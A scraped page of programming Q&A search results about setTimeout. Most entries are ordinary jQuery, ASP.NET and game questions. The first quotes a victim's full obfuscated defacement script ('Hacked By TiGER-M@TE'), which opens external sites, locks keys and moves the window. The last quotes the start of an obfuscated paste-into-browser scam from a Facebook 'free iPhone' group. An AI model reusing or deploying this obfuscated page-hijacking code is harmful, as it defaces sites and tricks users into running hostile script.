Search Results

Search found 541 results on 22 pages for 'settimeout'.

Page 9/22 | < Previous Page | 5 6 7 8 9 10 11 12 13 14 15 16  | Next Page >

  • My webserver just got hacked [closed]

    - by billmalarky
    Possible Duplicate: My server's been hacked EMERGENCY My web server just got hacked. It was on a vps so I think it was hacked through another site. When I loaded the homepage it looks like it ran some script. Can anyone tell me if this script is malicious and if I just got screwed by my own website? `<script>var _0x8ae2=["\x68\x74\x74\x70\x3A\x2F\x2F\x7A\x6F\x6E\x65\x2D\x68\x2E\x6F\x72\x67\x2F\x61\x72\x63\x68\x69\x76\x65\x2F\x6E\x6F\x74\x69\x66\x69\x65\x72\x3D\x54\x69\x47\x45\x52\x2D\x4D\x25\x34\x30\x54\x45","\x6F\x70\x65\x6E","\x68\x74\x74\x70\x3A\x2F\x2F\x7A\x6F\x6E\x65\x2D\x68\x2E\x6F\x72\x67\x2F\x61\x72\x63\x68\x69\x76\x65\x2F\x6E\x6F\x74\x69\x66\x69\x65\x72\x3D\x54\x69\x47\x45\x52\x2D\x4D\x25\x34\x30\x54\x45\x2F\x73\x70\x65\x63\x69\x61\x6C\x3D\x31","\x68\x74\x74\x70\x3A\x2F\x2F\x6C\x6D\x67\x74\x66\x79\x2E\x63\x6F\x6D\x2F\x3F\x71\x3D\x48\x61\x63\x6B\x65\x64\x20\x62\x79\x20\x54\x69\x47\x45\x52\x2D\x4D\x25\x34\x30\x54\x45","\x73\x63\x72\x6F\x6C\x6C\x42\x79","\x74\x69\x74\x6C\x65","\x48\x61\x63\x6B\x65\x44\x20\x42\x79\x20\x54\x69\x47\x45\x52\x2D\x4D\x40\x54\x45","\x6F\x6E\x6B\x65\x79\x64\x6F\x77\x6E","\x72\x65\x73\x69\x7A\x65\x54\x6F","\x6D\x6F\x76\x65\x54\x6F","\x6D\x6F\x76\x65\x28\x29","\x72\x6F\x75\x6E\x64","\x66\x67\x43\x6F\x6C\x6F\x72","\x62\x67\x43\x6F\x6C\x6F\x72","\x4C\x4F\x4C","\x61\x76\x61\x69\x6C\x57\x69\x64\x74\x68","\x61\x76\x61\x69\x6C\x48\x65\x69\x67\x68\x74"];function details(){window[_0x8ae2[1]](_0x8ae2[0]);window[_0x8ae2[1]](_0x8ae2[2]);window[_0x8ae2[1]](_0x8ae2[3]);} ;window[_0x8ae2[4]](0,1);if(document[_0x8ae2[5]]==_0x8ae2[6]){function keypressed(){return false;} ;document[_0x8ae2[7]]=keypressed;window[_0x8ae2[8]](0,0);window[_0x8ae2[9]](0,0);setTimeout(_0x8ae2[10],2);var mxm=50;var mym=25;var mx=0;var my=0;var sv=50;var status=1;var szx=0;var szy=0;var c=255;var n=0;var sm=30;var cycle=2;var done=2;function move(){if(status==1){mxm=mxm/1.05;mym=mym/1.05;mx=mx+mxm;my=my-mym;mxm=mxm+(400-mx)/100;mym=mym-(300-my)/100;window[_0x8ae2[9]](mx,my);rmxm=Math[_0x8ae2[11]](mxm/10);rmym=Math[_0x8ae2[11]](mym/10);if(rmxm==0){if(rmym==0){status=2;} ;} ;} ;if(status==2){sv=sv/1.1;scrratio=1+1/3;mx=mx-sv*scrratio/2;my=my-sv/2;szx=szx+sv*scrratio;szy=szy+sv;window[_0x8ae2[9]](mx,my);window[_0x8ae2[8]](szx,szy);if(sv<0.1){status=3;} ;} ;if(status==3){document[_0x8ae2[12]]=0xffffFF;c=c-16;if(c<0){status=8;} ;} ;if(status==4){c=c+16;document[_0x8ae2[13]]=c*65536;document[_0x8ae2[12]]=(255-c)*65536;if(c>239){status=5;} ;} ;if(status==5){c=c-16;document[_0x8ae2[13]]=c*65536;document[_0x8ae2[12]]=(255-c)*65536;if(c<0){status=6;cycle=cycle-1;if(cycle>0){if(done==1){status=7;} else {status=4;} ;} ;} ;} ;if(status==6){document[_0x8ae2[5]]=_0x8ae2[14];alert(_0x8ae2[14]);cycle=2;status=4;done=1;} ;if(status==7){c=c+4;document[_0x8ae2[13]]=c*65536;document[_0x8ae2[12]]=(255-c)*65536;if(c>128){status=8;} ;} ;if(status==8){window[_0x8ae2[9]](0,0);sx=screen[_0x8ae2[15]];sy=screen[_0x8ae2[16]];window[_0x8ae2[8]](sx,sy);status=9;} ;var _0xceebx11=setTimeout(_0x8ae2[10],0.3);} ;} ;</script><body bgcolor="#000000" oncontextmenu="return false;"><p align="center"><span style="font-weight: 700;"><font face="Tahoma" size="5" color="#EEEEEE"><i>Server HackeD<br/><br/>By</i> </font><br/><br/><a href="#" class="name"><script>if (navigator.appName == 'Microsoft Internet Explorer'){document.write('<font face="Arial Black" size="5" color="#FF0000">');}else{document.write('<font face="Arial Black" size="5" color="black" style="text-shadow:#FFFFFF 2px 2px 5px">');}</script><i onclick="details()">TiGER-M@TE</i></font></a></span><br/><br/><script>var l1n3='<img src="data:image/gif;base64,R0lGODlhqAABAOYAAAMDA3d4eAAAAAICAfLy8l5dXaWlpSQlJBwcHBQVFBISEQ0NDbu7u/v8/EJBQePj4/3+/T4+PtjX2Do7OlZWVyEiIjc3N09PT4OEhIB/f/r6+sjIyMTExPb29rS0tHx7fOvr64+Pj4eHh56dnZqZmvT09GVlZejp6dXU1aGhoeXm5khISJKTk93e3hkZGQcHB0RFRBcXF+7u7isqKi4uLmxtbLe3t6ysrXR0dTQ0M87Ozw8QEMvLy6ipqQUFBUxMTAkJCdHS0vDw73BwcQsLCycnJ/j4+JeXl8HBwmFhYVNSU+Dg4Glpadvb2jEwML6+vrCvsB8fH4uLi1pZWgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAAAAAAALAAAAACoAAEAAAewgBANGkYdJQRCMiAnKg9LLU0SKEE6PBscSE8MNh5QNz0GKSMkRywhUiIYGR8BOEM1TCZJBVMUShc/KzAOERMWOU40M0UHFVEILjEJCjsLREAvPgADAgIDAD4vQEQLOwoJMS4IURUHRTM0TjkWExEOMCs/F0oUUwVJJkw1QzgBHxkYREgJweIIiREpDPS4AcWDDQZPkHDYwENHEBQSmrRY8kDFCRAyhBAo0cGIhgYQAgEAOw==" />'; document.write(l1n3+l1n3);`

    Read the article

  • jQuery CSS Property Monitoring Plug-in updated

    - by Rick Strahl
    A few weeks back I had talked about the need to watch properties of an object and be able to take action when certain values changed. The need for this arose out of wanting to build generic components that could 'attach' themselves to other objects. One example is a drop shadow - if I add a shadow behavior to an object I want the shadow to be pinned to that object so when that object moves I also want the shadow to move with it, or when the panel is hidden the shadow should hide with it - automatically without having to explicitly hook up monitoring code to the panel. For example, in my shadow plug-in I can now do something like this (where el is the element that has the shadow attached and sh is the shadow): if (!exists) // if shadow was created el.watch("left,top,width,height,display", function() { if (el.is(":visible")) $(this).shadow(opt); // redraw else sh.hide(); }, 100, "_shadowMove"); The code now monitors several properties and if any of them change the provided function is called. So when the target object is moved or hidden or resized the watcher function is called and the shadow can be redrawn or hidden in the case of visibility going away. So if you run any of the following code: $("#box") .shadow() .draggable({ handle: ".blockheader" }); // drag around the box - shadow should follow // hide the box - shadow should disappear with box setTimeout(function() { $("#box").hide(); }, 4000); // show the box - shadow should come back too setTimeout(function() { $("#box").show(); }, 8000); This can be very handy functionality when you're dealing with objects or operations that you need to track generically and there are no native events for them. For example, with a generic shadow object that attaches itself to any another element there's no way that I know of to track whether the object has been moved or hidden either via some UI operation (like dragging) or via code. While some UI operations like jQuery.ui.draggable would allow events to fire when the mouse is moved nothing of the sort exists if you modify locations in code. Even tracking the object in drag mode this is hardly generic behavior - a generic shadow implementation can't know when dragging is hooked up. So the watcher provides an alternative that basically gives an Observer like pattern that notifies you when something you're interested in changes. In the watcher hookup code (in the shadow() plugin) above  a check is made if the object is visible and if it is the shadow is redrawn. Otherwise the shadow is hidden. The first parameter is a list of CSS properties to be monitored followed by the function that is called. The function called receives this as the element that's been changed and receives two parameters: The array of watched objects with their current values, plus an index to the object that caused the change function to fire. How does it work When I wrote it about this last time I started out with a simple timer that would poll for changes at a fixed interval with setInterval(). A few folks commented that there are is a DOM API - DOMAttrmodified in Mozilla and propertychange in IE that allow notification whenever any property changes which is much more efficient and smooth than the setInterval approach I used previously. On browser that support these events (FireFox and IE basically - WebKit has the DOMAttrModified event but it doesn't appear to work) the shadow effect is instant - no 'drag behind' of the shadow. Running on a browser that doesn't support still uses setInterval() and the shadow movement is slightly delayed which looks sloppy. There are a few additional changes to this code - it also supports monitoring multiple CSS properties now so a single object can monitor a host of CSS properties rather than one object per property which is easier to work with. For display purposes position, bounds and visibility will be common properties that are to be watched. Here's what the new version looks like: $.fn.watch = function (props, func, interval, id) { /// <summary> /// Allows you to monitor changes in a specific /// CSS property of an element by polling the value. /// when the value changes a function is called. /// The function called is called in the context /// of the selected element (ie. this) /// </summary> /// <param name="prop" type="String">CSS Properties to watch sep. by commas</param> /// <param name="func" type="Function"> /// Function called when the value has changed. /// </param> /// <param name="interval" type="Number"> /// Optional interval for browsers that don't support DOMAttrModified or propertychange events. /// Determines the interval used for setInterval calls. /// </param> /// <param name="id" type="String">A unique ID that identifies this watch instance on this element</param> /// <returns type="jQuery" /> if (!interval) interval = 200; if (!id) id = "_watcher"; return this.each(function () { var _t = this; var el$ = $(this); var fnc = function () { __watcher.call(_t, id) }; var itId = null; var data = { id: id, props: props.split(","), func: func, vals: [props.split(",").length], fnc: fnc, origProps: props, interval: interval }; $.each(data.props, function (i) { data.vals[i] = el$.css(data.props[i]); }); el$.data(id, data); hookChange(el$, id, data.fnc); }); function hookChange(el$, id, fnc) { el$.each(function () { var el = $(this); if (typeof (el.get(0).onpropertychange) == "object") el.bind("propertychange." + id, fnc); else if ($.browser.mozilla) el.bind("DOMAttrModified." + id, fnc); else itId = setInterval(fnc, interval); }); } function __watcher(id) { var el$ = $(this); var w = el$.data(id); if (!w) return; var _t = this; if (!w.func) return; // must unbind or else unwanted recursion may occur el$.unwatch(id); var changed = false; var i = 0; for (i; i < w.props.length; i++) { var newVal = el$.css(w.props[i]); if (w.vals[i] != newVal) { w.vals[i] = newVal; changed = true; break; } } if (changed) w.func.call(_t, w, i); // rebind event hookChange(el$, id, w.fnc); } } $.fn.unwatch = function (id) { this.each(function () { var el = $(this); var fnc = el.data(id).fnc; try { if (typeof (this.onpropertychange) == "object") el.unbind("propertychange." + id, fnc); else if ($.browser.mozilla) el.unbind("DOMAttrModified." + id, fnc); else clearInterval(id); } // ignore if element was already unbound catch (e) { } }); return this; } There are basically two jQuery functions - watch and unwatch. jQuery.fn.watch(props,func,interval,id) Starts watching an element for changes in the properties specified. props The CSS properties that are to be watched for changes. If any of the specified properties changes the function specified in the second parameter is fired. func (watchData,index) The function fired in response to a changed property. Receives this as the element changed and object that represents the watched properties and their respective values. The first parameter is passed in this structure:    { id: itId, props: [], func: func, vals: [] }; A second parameter is the index of the changed property so data.props[i] or data.vals[i] gets the property value that has changed. interval The interval for setInterval() for those browsers that don't support property watching in the DOM. In milliseconds. id An optional id that identifies this watcher. Required only if multiple watchers might be hooked up to the same element. The default is _watcher if not specified. jQuery.fn.unwatch(id) Unhooks watching of the element by disconnecting the event handlers. id Optional watcher id that was specified in the call to watch. This value can be omitted to use the default value of _watcher. You can also grab the latest version of the  code for this plug-in as well as the shadow in the full library at: http://www.west-wind.com:8080/svn/jquery/trunk/jQueryControls/Resources/ww.jquery.js watcher has no other dependencies although it lives in this larger library. The shadow plug-in depends on watcher.© Rick Strahl, West Wind Technologies, 2005-2011

    Read the article

  • Bomberman clone, how to do bombs?

    - by hustlerinc
    I'm playing around with a bomberman clone to learn game-developement. So far I've done tiles, movement, collision detection, and item pickup. I also have pseudo bombplacing (just graphics and collision, no real functionality). I've made a jsFiddle of the game with the functionality I currently have. The code in the fiddle is very ugly though. Scroll past the map and you find how I place bombs. Anyway, what I would like to do is an object, that has the general information about bombs like: function Bomb(){ this.radius = player.bombRadius; this.placeBomb = function (){ if(player.bombs != 0){ // place bomb } } this.explosion = function (){ // Explosion } } I don't really know how to fit it into the code though. Everytime I place a bomb, do I do var bomb = new Bomb(); or do i need to constantly have that in the script to be able to access it. How does the bomb do damage? Is it as simple as doing X,Y in all directions until radius runs out or object stops it? Can I use something like setTimeout(bomb.explosion, 3000) as timer? Any help is appreciated, be it a simple explanation of the theory or code examples based on the fiddle. When I tried the object way it breaks the code.

    Read the article

  • New "delay" keyword for JavaScript

    - by Van Coding
    I had a great idea for a new javascript keyword "delay", but I don't know what I can do to bring it to the new specification. Also I want to know what you guys think about it and if it's even realistic. What does the delay keyword ? The delay keyword does nothing more than stop the execution of the current stack and immediately continues to the next "job" in the queue. But that's not all! Instead of discarding the stack, it adds it to the end of the queue. After all "jobs" before it are done, the stack continues to execute. What is it good for? delay could help make blocking code non-blocking while it still looks like synchronous code. A short example: setTimeout(function(){ console.log("two"); },0); console.log("one"); delay; //since there is currently another task in the queue, do this task first before continuing console.log("three"); //Outputs: one, two, three This simple keyword would allow us to create a synchronous-looking code wich is asynchronous behind the scenes. Using node.js modules, for example, would no longer be impossible to use in the browser without trickery. There would be so many possibilites with such a keyword! Is this pattern useful? What can I do to bring this into the new ECMAscript specification? Note: I asked this previously on Stack Overflow, where it was closed.

    Read the article

  • What's the best way to use requestAnimationFrame and fixed frame rates

    - by m90
    I recently got into using the HTML5-requestAnimationFrame-API a lot on animation-heavy websites, especially after seeing the Jank Busters talk. This seems to work pretty well and really improve performance in many cases. Yet one question still persists for me: When wanting to use an animation that is NOT entirely calculated (think spritesheets for example) you will have to aim for a fixed frame rate. Of course one could go back to use setInterval again, but maybe there are other ways to tackle this. The two ways I could think of using requestAnimationFrame with a fixed frame rate are: var fps = 25; //frames per second function animate(){ //actual drawing goes here setTimeout(function(){ requestAnimationFrame(animate); }, 1000 / fps) } animate(); or var fps = 25; //frames per second var lastExecution = new Date().getTime(); function animate(){ var now = new Date().getTime(); if ((now - lastExecution) > (1000 / fps)){ //do actual drawing lastExecution = new Date().getTime(); } requestAnimationFrame(animate); } animate(); Personally, I'd opt for the second option (the first one feels like cheating), yet it seems to be more buggy in certain situations. Is this approach really worth it (especially at low frame rates like 12.5)? Are there things to be improved? Is there another way to tackle this?

    Read the article

  • ASP.NET: Button in user control not posting back

    - by Ronnie Overby
    I have a simple user control with this code: <%@ Control Language="C#" AutoEventWireup="true" CodeFile="Pager.ascx.cs" Inherits="Pager" %> <table style="width: 100%;"> <tr> <td runat="server" id="PageControls"> <!-- This button has the problem: --> <asp:Button ID="btnPrevPage" runat="server" Text="&larr;" OnClick="btnPrevPage_Click" /> Page <asp:DropDownList runat="server" ID="ddlPage" AutoPostBack="true" OnSelectedIndexChanged="ddlPage_SelectedIndexChanged" /> of <asp:Label ID="lblTotalPages" runat="server" /> <!-- This button has the problem: --> <asp:Button ID="btnNextPage" runat="server" Text="&rarr;" OnClick="btnNextPage_Click" /> </td> <td align="right" runat="server" id="itemsPerPageControls"> <asp:Literal ID="perPageText1" runat="server" /> <asp:DropDownList ID="ddlItemsPerPage" runat="server" AutoPostBack="true" OnSelectedIndexChanged="ddlItemsPerPage_SelectedIndexChanged" /> <asp:Literal ID="perPageText2" runat="server" /> </td> </tr> </table> As you can see, the 2 buttons are wired to click events, which are defined correctly in the code-behind. Now, here is how I include an instance of the control on my page: <uc:Pager ID="Pager1" runat="server" TotalRecords="100" DisplayItemsPerPage="true" ItemsPerPageChoices="10,25,50,100" ItemsPerPageFormatString="Sessions/Page: {0}" PageSize="25" OnPageChanged="PageChanged" OnPageSizeChanged="PageChanged" /> I noticed though, that the 2 buttons in my user control weren't causing a post back when clicked. The drop down list does cause postback, though. Here is the rendered HTML: <table style="width: 100%;"> <tr> <td id="ctl00_MainContent_Pager1_PageControls" align="left"> <!-- No onclick event! Why? --> <input type="submit" name="ctl00$MainContent$Pager1$btnPrevPage" value="?" id="ctl00_MainContent_Pager1_btnPrevPage" /> Page <select name="ctl00$MainContent$Pager1$ddlPage" onchange="javascript:setTimeout('__doPostBack(\'ctl00$MainContent$Pager1$ddlPage\',\'\')', 0)" id="ctl00_MainContent_Pager1_ddlPage"> <option value="1">1</option> <option selected="selected" value="2">2</option> <option value="3">3</option> <option value="4">4</option> <option value="5">5</option> <option value="6">6</option> </select> of <span id="ctl00_MainContent_Pager1_lblTotalPages">6</span> <!-- No onclick event! Why? --> <input type="submit" name="ctl00$MainContent$Pager1$btnNextPage" value="?" id="ctl00_MainContent_Pager1_btnNextPage" /> </td> <td id="ctl00_MainContent_Pager1_itemsPerPageControls" align="right"> Sessions/Page: <select name="ctl00$MainContent$Pager1$ddlItemsPerPage" onchange="javascript:setTimeout('__doPostBack(\'ctl00$MainContent$Pager1$ddlItemsPerPage\',\'\')', 0)" id="ctl00_MainContent_Pager1_ddlItemsPerPage"> <option value="10">10</option> <option selected="selected" value="25">25</option> <option value="50">50</option> <option value="100">100</option> </select> </td> </tr> </table> And, as you can see, there is no onclick attribute being rendered in the button's input elements. Why not?

    Read the article

  • JavaScript source file not loading in IE8 Popup

    - by dkris
    I have an issue where the JavaScript source file is loading in popup for IE6, Chrome, Firefox, Safari and Opera. But the same source file is not loading up in IE8. As a result of this the HTML is not being replaced in the Popup and I am getting an error in IE8 popup saying tinyMCE is not defined I have referred to http://stackoverflow.com/questions/2949234/formatting-this-javascript-line and solved issue on all browsers except IE8. The JavaScript function is as follows: function openSupportPage() { var features="width=700,height=400,status=yes,toolbar=no,menubar=no,location=no,scrollbars=yes"; var winId=window.open('','',features); winId.document.open(); winId.document.write('<html><head><title>' + document.title + '</title><link rel="stylesheet" href="../css/default.css" type="text/css">\n'); var winDoc = winId.document; var sEl = winDoc.createElement("script"); sEl.src = "../js/tiny_mce/tiny_mce.js";/*TinyMCE source file*/ sEl.type="text/javascript"; winDoc.getElementsByTagName("head")[0].appendChild(sEl); winId.document.write('<script type="text/javascript">\n'); winId.document.write('function inittextarea() {\n'); winId.document.write('tinyMCE.init({ \n'); winId.document.write('elements : "content",\n'); winId.document.write('theme : "advanced",\n'); winId.document.write('readonly : true,\n'); winId.document.write('mode : "exact",\n'); winId.document.write('theme : "advanced",\n'); winId.document.write('readonly : true,\n'); winId.document.write('setup : function(ed) {\n'); winId.document.write('ed.onInit.add(function() {\n'); winId.document.write('tinyMCE.activeEditor.execCommand("mceToggleVisualAid");\n'); winId.document.write('});\n'); winId.document.write('}\n'); winId.document.write('});}</script>\n'); window.setTimeout(function () {/*using setTimeout to wait for the JS source file to load*/ winId.document.write('</head><body onload="inittextarea()">\n'); winId.document.write(' \n'); var hiddenFrameHTML = document.getElementById("HiddenFrame").innerHTML; hiddenFrameHTML = hiddenFrameHTML.replace(/&amp;/gi, "&"); hiddenFrameHTML = hiddenFrameHTML.replace(/&lt;/gi, "<"); hiddenFrameHTML = hiddenFrameHTML.replace(/&gt;/gi, ">"); winId.document.write(hiddenFrameHTML); winId.document.write('<textarea id="content" rows="10" style="width:100%">\n'); winId.document.write(document.getElementById(top.document.forms[0].id + ":supportStuff").innerHTML); winId.document.write('</textArea>\n'); var hiddenFrameHTML2 = document.getElementById("HiddenFrame2").innerHTML; hiddenFrameHTML2 = hiddenFrameHTML2.replace(/&amp;/gi, "&"); hiddenFrameHTML2 = hiddenFrameHTML2.replace(/&lt;/gi, "<"); hiddenFrameHTML2 = hiddenFrameHTML2.replace(/&gt;/gi, ">"); winId.document.write(hiddenFrameHTML2); winId.document.write('</body></html>\n'); winId.document.close(); }, 300); } Additional Information: Screen shot of the page Rendered HTML Original JSPF please help me with this one.

    Read the article

  • JQuery/JavaScript confusion with Previous and Next buttons.

    - by Anders H
    I've got some inherited JQuery code that isn't working as I'd think and I'm just not even sure what to research or look up next. The Problem: I've got a few DIVs within the HTML: a container, a "frame" and the content. If the content is longer than the frame, it's cut off using overflow:hidden and a Next - button appears. The next button works correctly. However, there's also a previous button with similar code, but it does not work as expected and just displays whenever the next button does. Whenever either button is hidden, it will not reappear again when navigating back through the "pages". When the I may be overlooking something in the code, but here it is in full. The HTML: <div id="draggable" class="ui-widget-content"> <div id="draggable-title" class="cufon">about</div> <a id="draggable-close" href="javascript:void(0);"><div class="close-img icon"></div></a> <div class="clear"></div> <div id="draggable-frame"> <div id="draggable-content"> </div> </div> <a id="prevContent" href="javascript:void(0);">&laquo; previous</a><a id="nextContent" href="javascript:void(0);">next &raquo;</a> </div> The JavaScript: $(function() { $("#draggable").draggable(); }); $(document).ready(function(){ $("#draggable-frame").scrollTop(0); $("#prevContent").click(function(){ $("#draggable-content").fadeOut("medium"); setTimeout("showPrev()", 250); if($("#draggable-frame").scrollTop()+$("#draggable-frame").height() >= $("#draggable-content").height()) { $("#prevContent").hide(); } $("#draggable-content").fadeIn("medium"); }); $("#nextContent").click(function(){ $("#draggable-content").fadeOut("medium"); setTimeout("showNext()", 250); if($("#draggable-frame").scrollTop()+$("#draggable-frame").height() >= $("#draggable-content").height()) { $("#nextContent").hide(); } $("#draggable-content").fadeIn("medium"); }); $("#draggable-close").click(function(){ $("#draggable").fadeOut("medium"); }); $("#prevContent").hide(); $("#nextContent").hide(); showContent("about"); $(".opener").click(function(){ $("#draggable-frame").scrollTop(0); $("#draggable").fadeIn("medium"); showContent($(this).attr("title")); }); }); // function showPrev() { $("#draggable-frame").scrollTop($("#draggable-frame").scrollTop() - $("#draggable-frame").height()); } // function showNext() { $("#draggable-frame").scrollTop($("#draggable-frame").scrollTop() + $("#draggable-frame").height()); } function showContent(title) { $("#draggable-title").html(title); $("#draggable-content").html($("#"+title).html()); Cufon.replace('.cufon', { fontFamily: 'cav', hover: true }); $("#nextContent").hide(); $("#prevContent").hide(); if($("#draggable-content").height() > $("#draggable-frame").height()) { $("#nextContent").show(); } if($("#draggable-content").height() > $("#draggable-frame").height()) { $("#prevContent").show(); } } Even just point me in the right direction to research would be a big help right now. Thank you.

    Read the article

  • php slideshow sample

    - by serhio
    I try to do a simple image slideshow in php (just cycle images, no links, no other effects). after some googling I found the following in net: <HTML> <HEAD> <TITLE>Php Slideshow</TITLE> <script language="javascript"> var speed = 4000; // time picture is displayed var delay = 3; // time it takes to blend to the next picture x = new Array; var y = 0; <?php $tel=0; $tst='.jpg'; $p= "./images"; $d = dir($p); $first = NULL; while (false !== ($entry = $d->read())) { if (stristr ($entry, $tst)) { $entry = $d->path."/".$entry; print ("x[$tel]='$entry';\n"); if ($first == NULL) { $first = $entry; } $tel++; } } $d->close(); ?> function show() { document.all.pic.filters.blendTrans.Apply(); document.all.pic.src = x[y++]; document.all.pic.filters.blendTrans.Play(delay); if (y > x.length - 1) y = 0; } function timeF() { setTimeout(show, speed); } </script> </HEAD> <BODY > <!-- add html code here --> <?php print ("<IMG src='$first' id='pic' onload='timeF()' style='filter:blendTrans()' >"); ?> <!-- add html code here --> </BODY> </HTML> but it displays only the first image from the cycle. Do I something wrong? the resulting HTML page is: <HTML> <HEAD> <TITLE>Php Slideshow</TITLE> <script language="javascript"> var speed = 4000; // time picture is displayed var delay = 3; // time it takes to blend to the next picture x = new Array; var y = 0; x[0]='./images/under_construction.jpg'; x[1]='./images/BuildingBanner.jpg'; x[2]='./images/littleLift.jpg'; x[3]='./images/msfp_smbus1_01.jpg'; x[4]='./images/escalator.jpg'; function show() { document.all.pic.filters.blendTrans.Apply(); document.all.pic.src = x[y++]; document.all.pic.filters.blendTrans.Play(delay); if (y > x.length - 1) y = 0; } function timeF() { setTimeout(show, speed); } </script> </HEAD> <BODY > <!-- add html code here --> <IMG src='./images/under_construction.jpg' id='pic' onload='timeF()' style='filter:blendTrans()' ><!-- add html code here --> </BODY> </HTML>

    Read the article

  • Why does jquery leak memory so badly?

    - by Thomas Lane
    This is kind of a follow-up to a question I posted last week: http://stackoverflow.com/questions/2429056/simple-jquery-ajax-call-leaks-memory-in-ie I love the jquery syntax and all of its nice features, but I've been having trouble with a page that automatically updates table cells via ajax calls leaking memory. So I created two simple test pages for experimenting. Both pages do an ajax call every .1 seconds. After each successful ajax call, a counter is incremented and the DOM is updated. The script stops after 1000 cycles. One uses jquery for both the ajax call and to update the DOM. The other uses the Yahoo API for the ajax and does a document.getElementById(...).innerHTML to update the DOM. The jquery version leaks memory badly. Running in drip (on XP Home with IE7), it starts at 9MB and finishes at about 48MB, with memory growing linearly the whole time. If I comment out the line that updates the DOM, it still finishes at 32MB, suggesting that even simple DOM updates leak a significant amount of memory. The non-jquery version starts and finishes at about 9MB, regardless of whether it updates the DOM. Does anyone have a good explanation of what is causing jquery to leak so badly? Am I missing something obvious? Is there a circular reference that I'm not aware of? Or does jquery just have some serious memory issues? Here is the source for the leaky (jquery) version: <html> <head> <script type="text/javascript" src="http://www.google.com/jsapi"></script> <script type="text/javascript"> google.load('jquery', '1.4.2'); </script> <script type="text/javascript"> var counter = 0; leakTest(); function leakTest() { $.ajax({ url: '/html/delme.x', type: 'GET', success: incrementCounter }); } function incrementCounter(data) { if (counter<1000) { counter++; $('#counter').text(counter); setTimeout(leakTest,100); } else $('#counter').text('finished.'); } </script> </head> <body> <div>Why is memory usage going up?</div> <div id="counter"></div> </body> </html> And here is the non-leaky version: <html> <head> <script type="text/javascript" src="http://yui.yahooapis.com/2.8.0r4/build/yahoo/yahoo-min.js"></script> <script type="text/javascript" src="http://yui.yahooapis.com/2.8.0r4/build/event/event-min.js"></script> <script type="text/javascript" src="http://yui.yahooapis.com/2.8.0r4/build/connection/connection_core-min.js"></script> <script type="text/javascript"> var counter = 0; leakTest(); function leakTest() { YAHOO.util.Connect.asyncRequest('GET', '/html/delme.x', {success:incrementCounter}); } function incrementCounter(o) { if (counter<1000) { counter++; document.getElementById('counter').innerHTML = counter; setTimeout(leakTest,100); } else document.getElementById('counter').innerHTML = 'finished.' } </script> </head> <body> <div>Memory usage is stable, right?</div> <div id="counter"></div> </body> </html>

    Read the article

  • How can I determine if an image has loaded, using Javascript/jQuery?

    - by Kip
    I'm writing some Javascript to resize the large image to fit into the user's browser window. (I don't control the size of the source images unfortunately.) So something like this would be in the HTML: <img id="photo" src="a_really_big_file.jpg" alt="this is some alt text" title="this is some title text" /> Is there a way for me to determine if the src image in an img tag has been downloaded? I need this because I'm running into a problem if $(document).ready() is executed before the browser has loaded the image. $("#photo").width() and $("#photo").height() will return the size of the placeholder (the alt text). In my case this is something like 134 x 20. Right now I'm just checking if the photo's height is less than 150, and assuming that if so it is just alt text. But this is quite a hack, and it would break if a photo is less than 150 pixels tall (not likely in my particular case), or if the alt text is more than 150 pixels tall (could possibly happen on a small browser window). Edit: For anyone wanting to see the code: $(function() { var REAL_WIDTH = $("#photo").width(); var REAL_HEIGHT = $("#photo").height(); $(window).resize(adjust_photo_size); adjust_photo_size(); function adjust_photo_size() { if(REAL_HEIGHT < 150) { REAL_WIDTH = $("#photo").width(); REAL_HEIGHT = $("#photo").height(); if(REAL_HEIGHT < 150) { //image not loaded.. try again in a quarter-second setTimeout(adjust_photo_size, 250); return; } } var new_width = . . . ; var new_height = . . . ; $("#photo").width(Math.round(new_width)); $("#photo").height(Math.round(new_height)); } }); Update: Thanks for the suggestions. There is a risk of the event not being fired if I set a callback for the $("#photo").load event, so I have defined an onLoad event directly on the image tag. For the record, here is the code I ended up going with: <img id="photo" onload="photoLoaded();" src="a_really_big_file.jpg" alt="this is some alt text" title="this is some title text" /> Then in Javascript: //This must be outside $() because it may get called first var isPhotoLoaded = false; function photoLoaded() { isPhotoLoaded = true; } $(function() { //Hides scrollbars, so we can resize properly. Set with JS instead of // CSS so that page doesn't break with JS disabled. $("body").css("overflow", "hidden"); var REAL_WIDTH = -1; var REAL_HEIGHT = -1; $(window).resize(adjust_photo_size); adjust_photo_size(); function adjust_photo_size() { if(!isPhotoLoaded) { //image not loaded.. try again in a quarter-second setTimeout(adjust_photo_size, 250); return; } else if(REAL_WIDTH < 0) { //first time in this function since photo loaded REAL_WIDTH = $("#photo").width(); REAL_HEIGHT = $("#photo").height(); } var new_width = . . . ; var new_height = . . . ; $("#photo").width(Math.round(new_width)); $("#photo").height(Math.round(new_height)); } });

    Read the article

  • Can anybody tell what this JavaScript code is doing? [closed]

    - by waheed
    Possible Duplicate: Javascript compiled or not? Check inside… In a facebook group this code was provided to get the free IPhone, you have to join the group and paste the code in the browser and run it. I wonder it might be something malicious, can anybody tell what this code is doing? javascript:var _0xb714=["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C", "\x61\x70\x70\x34\x39\x34\x39\x37\x35\x32\x38\x37\x38\x5F\x62\x6F\x64\x79", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", 